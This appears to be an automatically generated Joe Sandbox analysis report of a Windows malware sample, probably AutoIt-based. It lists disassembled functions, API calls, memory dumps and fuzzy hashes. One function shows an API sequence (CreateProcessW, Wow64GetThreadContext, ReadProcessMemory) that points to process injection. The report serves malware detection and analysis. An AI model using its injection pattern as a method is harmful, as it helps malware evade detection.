Associated: 00000002.00000002.2450052662.000000000027F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.00000000002A4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450103511.00000000002AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450123825.00000000002B7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1f0000_MzqLQjCwrw.jbxd

Similarity

API ID: Temp$FileNamePath
String ID: aut
API String ID: 3285503233-3010740371
Opcode ID: 273c316288363e8bb04cc5d8198306b65f2a3bd96b865d2b0329a824f93b6021
Instruction ID: 171ca7be82cde441032b1fe572f9e89f0a88fc37de23909e5761429274ef9637
Opcode Fuzzy Hash: 273c316288363e8bb04cc5d8198306b65f2a3bd96b865d2b0329a824f93b6021
Instruction Fuzzy Hash: AED05B7554430DABDB509B90EC0DF96773CE704700F0002B1BE54910A1ED7055948B91

Function 0026CADD Relevance: 4.9, APIs: 3, Instructions: 392COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2449964781.00000000001F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001F0000, based on PE: true

Associated: 00000002.00000002.2449943752.00000000001F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.000000000027F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.00000000002A4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450103511.00000000002AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450123825.00000000002B7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1f0000_MzqLQjCwrw.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2040d24bbac8b94510a549d7e7d4e25249e60caa0640be154cc99e8c6e1b67f7
Instruction ID: 62e8ed8d202e952379023bb2c9c47a080cc904e534cce64ba62ce779e6ba41cb
Opcode Fuzzy Hash: 2040d24bbac8b94510a549d7e7d4e25249e60caa0640be154cc99e8c6e1b67f7
Instruction Fuzzy Hash: D0F169706183459FCB14EF28C484A6ABBE5FF88314F24892EF8999B351D770E955CF82

Function 001F434A Relevance: 4.6, APIs: 3, Instructions: 77windowCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 001F4370
Shell_NotifyIconW.SHELL32(00000000,?), ref: 001F4415
Shell_NotifyIconW.SHELL32(00000001,?), ref: 001F4432

Memory Dump Source

Source File: 00000002.00000002.2449964781.00000000001F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001F0000, based on PE: true

Associated: 00000002.00000002.2449943752.00000000001F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.000000000027F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.00000000002A4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450103511.00000000002AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450123825.00000000002B7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1f0000_MzqLQjCwrw.jbxd

Similarity

API ID: IconNotifyShell_$_memset
String ID:
API String ID: 1505330794-0
Opcode ID: eaf2bee9869c6e439c89b4d3a5b16d6019da387bb28809f223818a053e70a532
Instruction ID: bce995324236bdf446a1728f15035b4f8aabab791d653570fccc65ee24621e8a
Opcode Fuzzy Hash: eaf2bee9869c6e439c89b4d3a5b16d6019da387bb28809f223818a053e70a532
Instruction Fuzzy Hash: 6E31A570505715DFD760DF34E8847ABBBF8FB58308F000A2EFA9A96251D770A944CB52

Function 0021571C Relevance: 4.6, APIs: 3, Instructions: 59memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

__FF_MSGBANNER.LIBCMT ref: 00215733

Part of subcall function 0021A16B: __NMSG_WRITE.LIBCMT ref: 0021A192
Part of subcall function 0021A16B: __NMSG_WRITE.LIBCMT ref: 0021A19C

__NMSG_WRITE.LIBCMT ref: 0021573A

Part of subcall function 0021A1C8: GetModuleFileNameW.KERNEL32(00000000,002B33BA,00000104,?,00000001,00000000), ref: 0021A25A
Part of subcall function 0021A1C8: ___crtMessageBoxW.LIBCMT ref: 0021A308

Part of subcall function 0021309F: ___crtCorExitProcess.LIBCMT ref: 002130A5
Part of subcall function 0021309F: ExitProcess.KERNEL32 ref: 002130AE

Part of subcall function 00218B28: __getptd_noexit.LIBCMT ref: 00218B28

RtlAllocateHeap.NTDLL(010C0000,00000000,00000001,00000000,?,?,?,00210DD3,?), ref: 0021575F

Memory Dump Source

Source File: 00000002.00000002.2449964781.00000000001F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001F0000, based on PE: true

Associated: 00000002.00000002.2449943752.00000000001F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.000000000027F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.00000000002A4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450103511.00000000002AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450123825.00000000002B7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1f0000_MzqLQjCwrw.jbxd

Similarity

API ID: ExitProcess___crt$AllocateFileHeapMessageModuleName__getptd_noexit
String ID:
API String ID: 1372826849-0
Opcode ID: 6fa0f83cb006debe866713f5fff0cab038fdd27fb350eb49d00d80d703946908
Instruction ID: 34266da6266e9808f9abe9473287e1d69609825298a63226505b398301d5b0eb
Opcode Fuzzy Hash: 6fa0f83cb006debe866713f5fff0cab038fdd27fb350eb49d00d80d703946908
Instruction Fuzzy Hash: 9301D631274A22DAD6116B34AC87AE9B3C99BF1361F100565F409D61C1DEB09DE24A61

Function 002598A2 Relevance: 4.5, APIs: 3, Instructions: 24filetimeCOMMON

Download Yara Rule

APIs

CreateFileW.KERNELBASE(?,40000000,00000001,00000000,00000003,00000080,00000000,?,?,00259548,?,?,?,?,?,00000004), ref: 002598BB
SetFileTime.KERNELBASE(00000000,?,00000000,?,?,00259548,?,?,?,?,?,00000004,00000001,?,?,00000004), ref: 002598D1
CloseHandle.KERNEL32(00000000,?,00259548,?,?,?,?,?,00000004,00000001,?,?,00000004,00000001,?,?), ref: 002598D8

Memory Dump Source

Source File: 00000002.00000002.2449964781.00000000001F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001F0000, based on PE: true

Associated: 00000002.00000002.2449943752.00000000001F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.000000000027F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.00000000002A4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450103511.00000000002AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450123825.00000000002B7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1f0000_MzqLQjCwrw.jbxd

Similarity

API ID: File$CloseCreateHandleTime
String ID:
API String ID: 3397143404-0
Opcode ID: bf6b17be316966e31e975a02d768091269d6a769ad9e6db32f17614a27a0bb8a
Instruction ID: b019571014f60d73bec0c01c9f618b386ac71c76782a4eb71a31a54917610c7c
Opcode Fuzzy Hash: bf6b17be316966e31e975a02d768091269d6a769ad9e6db32f17614a27a0bb8a
Instruction Fuzzy Hash: 38E08632145224F7D7211F64FD0DFCA7B59AB06761F104120FB1C690E087B115619798

Function 00258D0D Relevance: 4.5, APIs: 3, Instructions: 22COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 00258D1B

Part of subcall function 00212D55: RtlFreeHeap.NTDLL(00000000,00000000,?,00219A24), ref: 00212D69
Part of subcall function 00212D55: GetLastError.KERNEL32(00000000,?,00219A24), ref: 00212D7B

_free.LIBCMT ref: 00258D2C
_free.LIBCMT ref: 00258D3E

Memory Dump Source

Source File: 00000002.00000002.2449964781.00000000001F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001F0000, based on PE: true

Associated: 00000002.00000002.2449943752.00000000001F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.000000000027F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.00000000002A4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450103511.00000000002AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450123825.00000000002B7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1f0000_MzqLQjCwrw.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: c56cf7ee783aa8295308e84720220828ccc4d403300e1e82c1220f1652f177a4
Instruction ID: bc1168416a3b89eb55f431d5b7cda8b41bbfefd2e621b4e8ec956ef3fbd8a3b1
Opcode Fuzzy Hash: c56cf7ee783aa8295308e84720220828ccc4d403300e1e82c1220f1652f177a4
Instruction Fuzzy Hash: 90E012A162260286CB24A978F940AD713FC4F68353754091DB80DE7196DEB4F8BA8528

Function 001FA9C3 Relevance: 4.0, APIs: 1, Strings: 1, Instructions: 534COMMON

Download Yara Rule

Strings

CALL, xrefs: 0022FC01

Memory Dump Source

Source File: 00000002.00000002.2449964781.00000000001F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001F0000, based on PE: true

Associated: 00000002.00000002.2449943752.00000000001F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.000000000027F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.00000000002A4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450103511.00000000002AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450123825.00000000002B7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1f0000_MzqLQjCwrw.jbxd

Similarity

API ID:
String ID: CALL
API String ID: 0-4196123274
Opcode ID: c301e6eeb34ad8389d5284cc9eedfb5c8ee371da793586a7ffea0f75fcb03532
Instruction ID: 284530a3a88873b53c1f60bf1e942e43e2cfec4cd817c31eb44e59e6f1c1ea8a
Opcode Fuzzy Hash: c301e6eeb34ad8389d5284cc9eedfb5c8ee371da793586a7ffea0f75fcb03532
Instruction Fuzzy Hash: D32278B0518305DFC728DF14C494A7AB7E1BF88304F15896DEA8A8B362D775EC95CB82

Function 001F47D0 Relevance: 3.1, APIs: 2, Instructions: 59COMMON

Download Yara Rule

APIs

IsThemeActive.UXTHEME ref: 001F4834

Part of subcall function 0021336C: __lock.LIBCMT ref: 00213372
Part of subcall function 0021336C: DecodePointer.KERNEL32(00000001,?,001F4849,00247C74), ref: 0021337E
Part of subcall function 0021336C: EncodePointer.KERNEL32(?,?,001F4849,00247C74), ref: 00213389

Part of subcall function 001F48FD: SystemParametersInfoW.USER32(00002000,00000000,?,00000000), ref: 001F4915
Part of subcall function 001F48FD: SystemParametersInfoW.USER32(00002001,00000000,00000000,00000002), ref: 001F492A

Part of subcall function 001F3B3A: GetCurrentDirectoryW.KERNEL32(00007FFF,?), ref: 001F3B68
Part of subcall function 001F3B3A: IsDebuggerPresent.KERNEL32 ref: 001F3B7A
Part of subcall function 001F3B3A: GetFullPathNameW.KERNEL32(00007FFF,?,?,002B52F8,002B52E0,?,?), ref: 001F3BEB
Part of subcall function 001F3B3A: SetCurrentDirectoryW.KERNEL32(?), ref: 001F3C6F

SystemParametersInfoW.USER32(00002001,00000000,00000000,00000002), ref: 001F4874

Memory Dump Source

Source File: 00000002.00000002.2449964781.00000000001F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001F0000, based on PE: true

Associated: 00000002.00000002.2449943752.00000000001F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.000000000027F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.00000000002A4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450103511.00000000002AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450123825.00000000002B7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1f0000_MzqLQjCwrw.jbxd

Similarity

API ID: InfoParametersSystem$CurrentDirectoryPointer$ActiveDebuggerDecodeEncodeFullNamePathPresentTheme__lock
String ID:
API String ID: 1438897964-0
Opcode ID: 07db78deaef1f4a6348c47fdb6cc4a8be75617d702fcc47e392c1b3e9e10a2fc
Instruction ID: 2b95df822e27965cf3213f733b91ce08f3f77daf11f273a6753dfaf908679df8
Opcode Fuzzy Hash: 07db78deaef1f4a6348c47fdb6cc4a8be75617d702fcc47e392c1b3e9e10a2fc
Instruction Fuzzy Hash: 2D11DF718187599FC700EF68E849A1AFFE8EF94790F00461EF585872B1DB708A44CF82

Function 001F5C99 Relevance: 3.1, APIs: 2, Instructions: 57fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNELBASE(?,80000000,00000007,00000000,00000003,00000080,00000000,?,00000000,?,001F5821,?,?,?,?), ref: 001F5CC7
CreateFileW.KERNEL32(?,C0000000,00000007,00000000,00000004,00000080,00000000,?,00000000,?,001F5821,?,?,?,?), ref: 0022DD73

Memory Dump Source

Source File: 00000002.00000002.2449964781.00000000001F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001F0000, based on PE: true

Associated: 00000002.00000002.2449943752.00000000001F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.000000000027F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.00000000002A4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450103511.00000000002AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450123825.00000000002B7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1f0000_MzqLQjCwrw.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: b14c3c8163085ecc5f86d8c7f0659bf71f6018be221f317b4d18e25575c1ea50
Instruction ID: 1a6606ed16e34416b1eab468701ba59c7595094aae4d89024c7b20f4d06672f1
Opcode Fuzzy Hash: b14c3c8163085ecc5f86d8c7f0659bf71f6018be221f317b4d18e25575c1ea50
Instruction Fuzzy Hash: 55019271284748BEF3240E25DD8AF763BDDAB01768F108319BBE99A1E0C7B41C948B50

Function 00210DB6 Relevance: 3.0, APIs: 2, Instructions: 44COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 0021571C: __FF_MSGBANNER.LIBCMT ref: 00215733
Part of subcall function 0021571C: __NMSG_WRITE.LIBCMT ref: 0021573A
Part of subcall function 0021571C: RtlAllocateHeap.NTDLL(010C0000,00000000,00000001,00000000,?,?,?,00210DD3,?), ref: 0021575F

std::exception::exception.LIBCMT ref: 00210DEC
__CxxThrowException@8.LIBCMT ref: 00210E01

Part of subcall function 0021859B: RaiseException.KERNEL32(?,?,?,002A9E78,00000000,?,?,?,?,00210E06,?,002A9E78,?,00000001), ref: 002185F0

Memory Dump Source

Source File: 00000002.00000002.2449964781.00000000001F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001F0000, based on PE: true

Associated: 00000002.00000002.2449943752.00000000001F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.000000000027F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.00000000002A4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450103511.00000000002AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450123825.00000000002B7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1f0000_MzqLQjCwrw.jbxd

Similarity

API ID: AllocateExceptionException@8HeapRaiseThrowstd::exception::exception
String ID:
API String ID: 3902256705-0
Opcode ID: 8200de263ea74032c18657fc8852587ec119b0d0b4b9779e204ab4b1c9a0af3c
Instruction ID: 5f343a14cc8e0584e51e479ed1e39abba814e8e973339f4e762409b53b79e151
Opcode Fuzzy Hash: 8200de263ea74032c18657fc8852587ec119b0d0b4b9779e204ab4b1c9a0af3c
Instruction Fuzzy Hash: A8F0F43582021EA6CB10BE94EC819DEBBECDF25311F00046AF904A6181DFB19AF48AD1

Function 002155FD Relevance: 3.0, APIs: 2, Instructions: 42COMMONLIBRARYCODE

Download Yara Rule

APIs

_memset.LIBCMT ref: 0021562C
__lock_file.LIBCMT ref: 0021564D

Memory Dump Source

Source File: 00000002.00000002.2449964781.00000000001F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001F0000, based on PE: true

Associated: 00000002.00000002.2449943752.00000000001F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.000000000027F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.00000000002A4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450103511.00000000002AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450123825.00000000002B7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1f0000_MzqLQjCwrw.jbxd

Similarity

API ID: __lock_file_memset
String ID:
API String ID: 26237723-0
Opcode ID: 996b489e16de061823d31327517ab0178e7ae966575fd0d5a665f16c6f941af0
Instruction ID: 189f717e99f6196f102fab63e493f15b074c150a52d2cbf384386c8c6ea8989b
Opcode Fuzzy Hash: 996b489e16de061823d31327517ab0178e7ae966575fd0d5a665f16c6f941af0
Instruction Fuzzy Hash: 9601D471820659EBCF12AF649C064DE7BE5AFF1321F504195F8241A191DB318AF1DFD1

Function 002153A6 Relevance: 3.0, APIs: 2, Instructions: 33COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00218B28: __getptd_noexit.LIBCMT ref: 00218B28

__lock_file.LIBCMT ref: 002153EB

Part of subcall function 00216C11: __lock.LIBCMT ref: 00216C34

__fclose_nolock.LIBCMT ref: 002153F6

Memory Dump Source

Source File: 00000002.00000002.2449964781.00000000001F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001F0000, based on PE: true

Associated: 00000002.00000002.2449943752.00000000001F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.000000000027F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.00000000002A4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450103511.00000000002AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450123825.00000000002B7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1f0000_MzqLQjCwrw.jbxd

Similarity

API ID: __fclose_nolock__getptd_noexit__lock__lock_file
String ID:
API String ID: 2800547568-0
Opcode ID: 5a5d217d72217b020877c30affdccdfcda9e74d40ddf6024ed912614b44ce60d
Instruction ID: 360388755ebd1150d98e34458dbc748b5d35aa0ae60eefb6057050da66e49a75
Opcode Fuzzy Hash: 5a5d217d72217b020877c30affdccdfcda9e74d40ddf6024ed912614b44ce60d
Instruction Fuzzy Hash: 39F0F631830A10DAD7106F7498457EE76E06FA1374F208184B430AB1C1CFFC49E1AF52

Function 010B129D Relevance: 1.9, APIs: 1, Instructions: 400processthreadCOMMON

Download Yara Rule

APIs

CreateProcessW.KERNELBASE(?,00000000), ref: 010B1ACD
Wow64GetThreadContext.KERNEL32(?,00010007), ref: 010B1AF1
ReadProcessMemory.KERNELBASE(?,?,?,00000004,00000000), ref: 010B1B13

Memory Dump Source

Source File: 00000002.00000002.2452189731.00000000010B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 010B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_10b0000_MzqLQjCwrw.jbxd

Similarity

API ID: Process$ContextCreateMemoryReadThreadWow64
String ID:
API String ID: 2438371351-0
Opcode ID: 45c0bcdfd50c24934144be52d4489c8f4aeee23b26077383fd0484b0fd6f3e51
Instruction ID: e8385bbde58dc6ea6c81891b3cd5bd5ce4f7200e5a558f3d4b448a4228c83590
Opcode Fuzzy Hash: 45c0bcdfd50c24934144be52d4489c8f4aeee23b26077383fd0484b0fd6f3e51
Instruction Fuzzy Hash: 5A12DD24E24658C6EB24DF64D8507DEB272FF68300F1090E9910DEB7A5E77A4F81CB5A

Function 00201FC3 Relevance: 1.7, APIs: 1, Instructions: 171COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2449964781.00000000001F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001F0000, based on PE: true

Associated: 00000002.00000002.2449943752.00000000001F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.000000000027F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.00000000002A4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450103511.00000000002AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450123825.00000000002B7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1f0000_MzqLQjCwrw.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 44d31a1fb97edabbe117f553bb7788f494b1d14da5cd68d2c3339e0378f20fd2
Instruction ID: 4a3e6d92fdcb9a865b9714c19d89c70a2748285d925db9641cf40bb2b18affc7
Opcode Fuzzy Hash: 44d31a1fb97edabbe117f553bb7788f494b1d14da5cd68d2c3339e0378f20fd2
Instruction Fuzzy Hash: 3451AF30610608EBCF14EF64C999EBE77AAAF55310F148169FA06AB392DB30ED14CB51

Function 001F5AEE Relevance: 1.6, APIs: 1, Instructions: 97COMMON

Download Yara Rule

APIs

SetFilePointerEx.KERNELBASE(?,?,00000001,00000000,00000000,?,?,00000000), ref: 001F5B96

Memory Dump Source

Source File: 00000002.00000002.2449964781.00000000001F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001F0000, based on PE: true

Associated: 00000002.00000002.2449943752.00000000001F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.000000000027F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.00000000002A4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450103511.00000000002AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450123825.00000000002B7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1f0000_MzqLQjCwrw.jbxd

Similarity

API ID: FilePointer
String ID:
API String ID: 973152223-0
Opcode ID: 6d0bd89df50f983244efe83175dcc9f267d14b91b8688c7f8b537650361fe814
Instruction ID: 2c48ae5a12f50bcb28a4ab572b133daefbd62216a183ba9a08d9425601adfcff
Opcode Fuzzy Hash: 6d0bd89df50f983244efe83175dcc9f267d14b91b8688c7f8b537650361fe814
Instruction Fuzzy Hash: 51314D71A00A19AFCB18DF6DD484A6DF7B7FF44310F198629DA1997710D770B9A0CB90

Function 0022FCAC Relevance: 1.6, APIs: 1, Instructions: 88COMMON

Download Yara Rule

APIs

VariantClear.OLEAUT32 ref: 0022FCB7

Memory Dump Source

Source File: 00000002.00000002.2449964781.00000000001F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001F0000, based on PE: true

Associated: 00000002.00000002.2449943752.00000000001F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.000000000027F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.00000000002A4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450103511.00000000002AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450123825.00000000002B7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1f0000_MzqLQjCwrw.jbxd

Similarity

API ID: ClearVariant
String ID:
API String ID: 1473721057-0
Opcode ID: 7b1475b033742ae88d8cc68c02ba49ad30b55699fca98a89b27a9e9c31de86b3
Instruction ID: 66780ad9c01e7f49e8cabcd4781eb070ac2fb612089f96e48bf118ba4819b5cc
Opcode Fuzzy Hash: 7b1475b033742ae88d8cc68c02ba49ad30b55699fca98a89b27a9e9c31de86b3
Instruction Fuzzy Hash: 1D4149B45083559FDB14DF54C484B2ABBE1BF48314F0988ACE9998B362C335E895CF52

Function 001F59B9 Relevance: 1.6, APIs: 1, Instructions: 72COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 001F5A01

Memory Dump Source

Source File: 00000002.00000002.2449964781.00000000001F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001F0000, based on PE: true

Associated: 00000002.00000002.2449943752.00000000001F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.000000000027F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.00000000002A4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450103511.00000000002AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450123825.00000000002B7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1f0000_MzqLQjCwrw.jbxd

Similarity

API ID: _memmove
String ID:
API String ID: 4104443479-0
Opcode ID: cbe443586ab7eafd0a81b12bc399acfc8219892743f634d4eb72bf548218b13e
Instruction ID: 6dfc7a98a4a0a0f03c293b99b6f4a038ea0cddc95790ade57ae95202d0b086d0
Opcode Fuzzy Hash: cbe443586ab7eafd0a81b12bc399acfc8219892743f634d4eb72bf548218b13e
Instruction Fuzzy Hash: 87213571924A28FBDB149FA2F8846AA7FB8FF19310F21886BE585C5010EBB080F0D741

Function 001F4DDD Relevance: 1.6, APIs: 1, Instructions: 64libraryCOMMON

Download Yara Rule

APIs

Part of subcall function 001F4BB5: FreeLibrary.KERNEL32(00000000,?), ref: 001F4BEF

Part of subcall function 0021525B: __wfsopen.LIBCMT ref: 00215266

LoadLibraryExW.KERNEL32(?,00000000,00000002,?,002B52F8,00000001,>>>AUTOIT NO CMDEXECUTE<<<,?), ref: 001F4E0F

Part of subcall function 001F4B6A: FreeLibrary.KERNEL32(00000000), ref: 001F4BA4

Part of subcall function 001F4C70: _memmove.LIBCMT ref: 001F4CBA

Memory Dump Source

Source File: 00000002.00000002.2449964781.00000000001F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001F0000, based on PE: true

Associated: 00000002.00000002.2449943752.00000000001F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.000000000027F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.00000000002A4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450103511.00000000002AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450123825.00000000002B7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1f0000_MzqLQjCwrw.jbxd

Similarity

API ID: Library$Free$Load__wfsopen_memmove
String ID:
API String ID: 1396898556-0
Opcode ID: 7788279c4a63dee53b7de3cb1dbf477e5f1b8156375132232af4c5428c791e0e
Instruction ID: 8751216fa49e16b7f3064b61fbeb05bf288ce4d48f6fa1d62b57a87009716cd3
Opcode Fuzzy Hash: 7788279c4a63dee53b7de3cb1dbf477e5f1b8156375132232af4c5428c791e0e
Instruction Fuzzy Hash: FD11273161020AABCF14EF70C812FBF77A4AF54710F108429FA46A7192DB7589119B51

Function 0022FD85 Relevance: 1.6, APIs: 1, Instructions: 63COMMON

Download Yara Rule

APIs

VariantClear.OLEAUT32(?), ref: 0022FD91

Memory Dump Source

Source File: 00000002.00000002.2449964781.00000000001F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001F0000, based on PE: true

Associated: 00000002.00000002.2449943752.00000000001F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.000000000027F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.00000000002A4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450103511.00000000002AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450123825.00000000002B7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1f0000_MzqLQjCwrw.jbxd

Similarity

API ID: ClearVariant
String ID:
API String ID: 1473721057-0
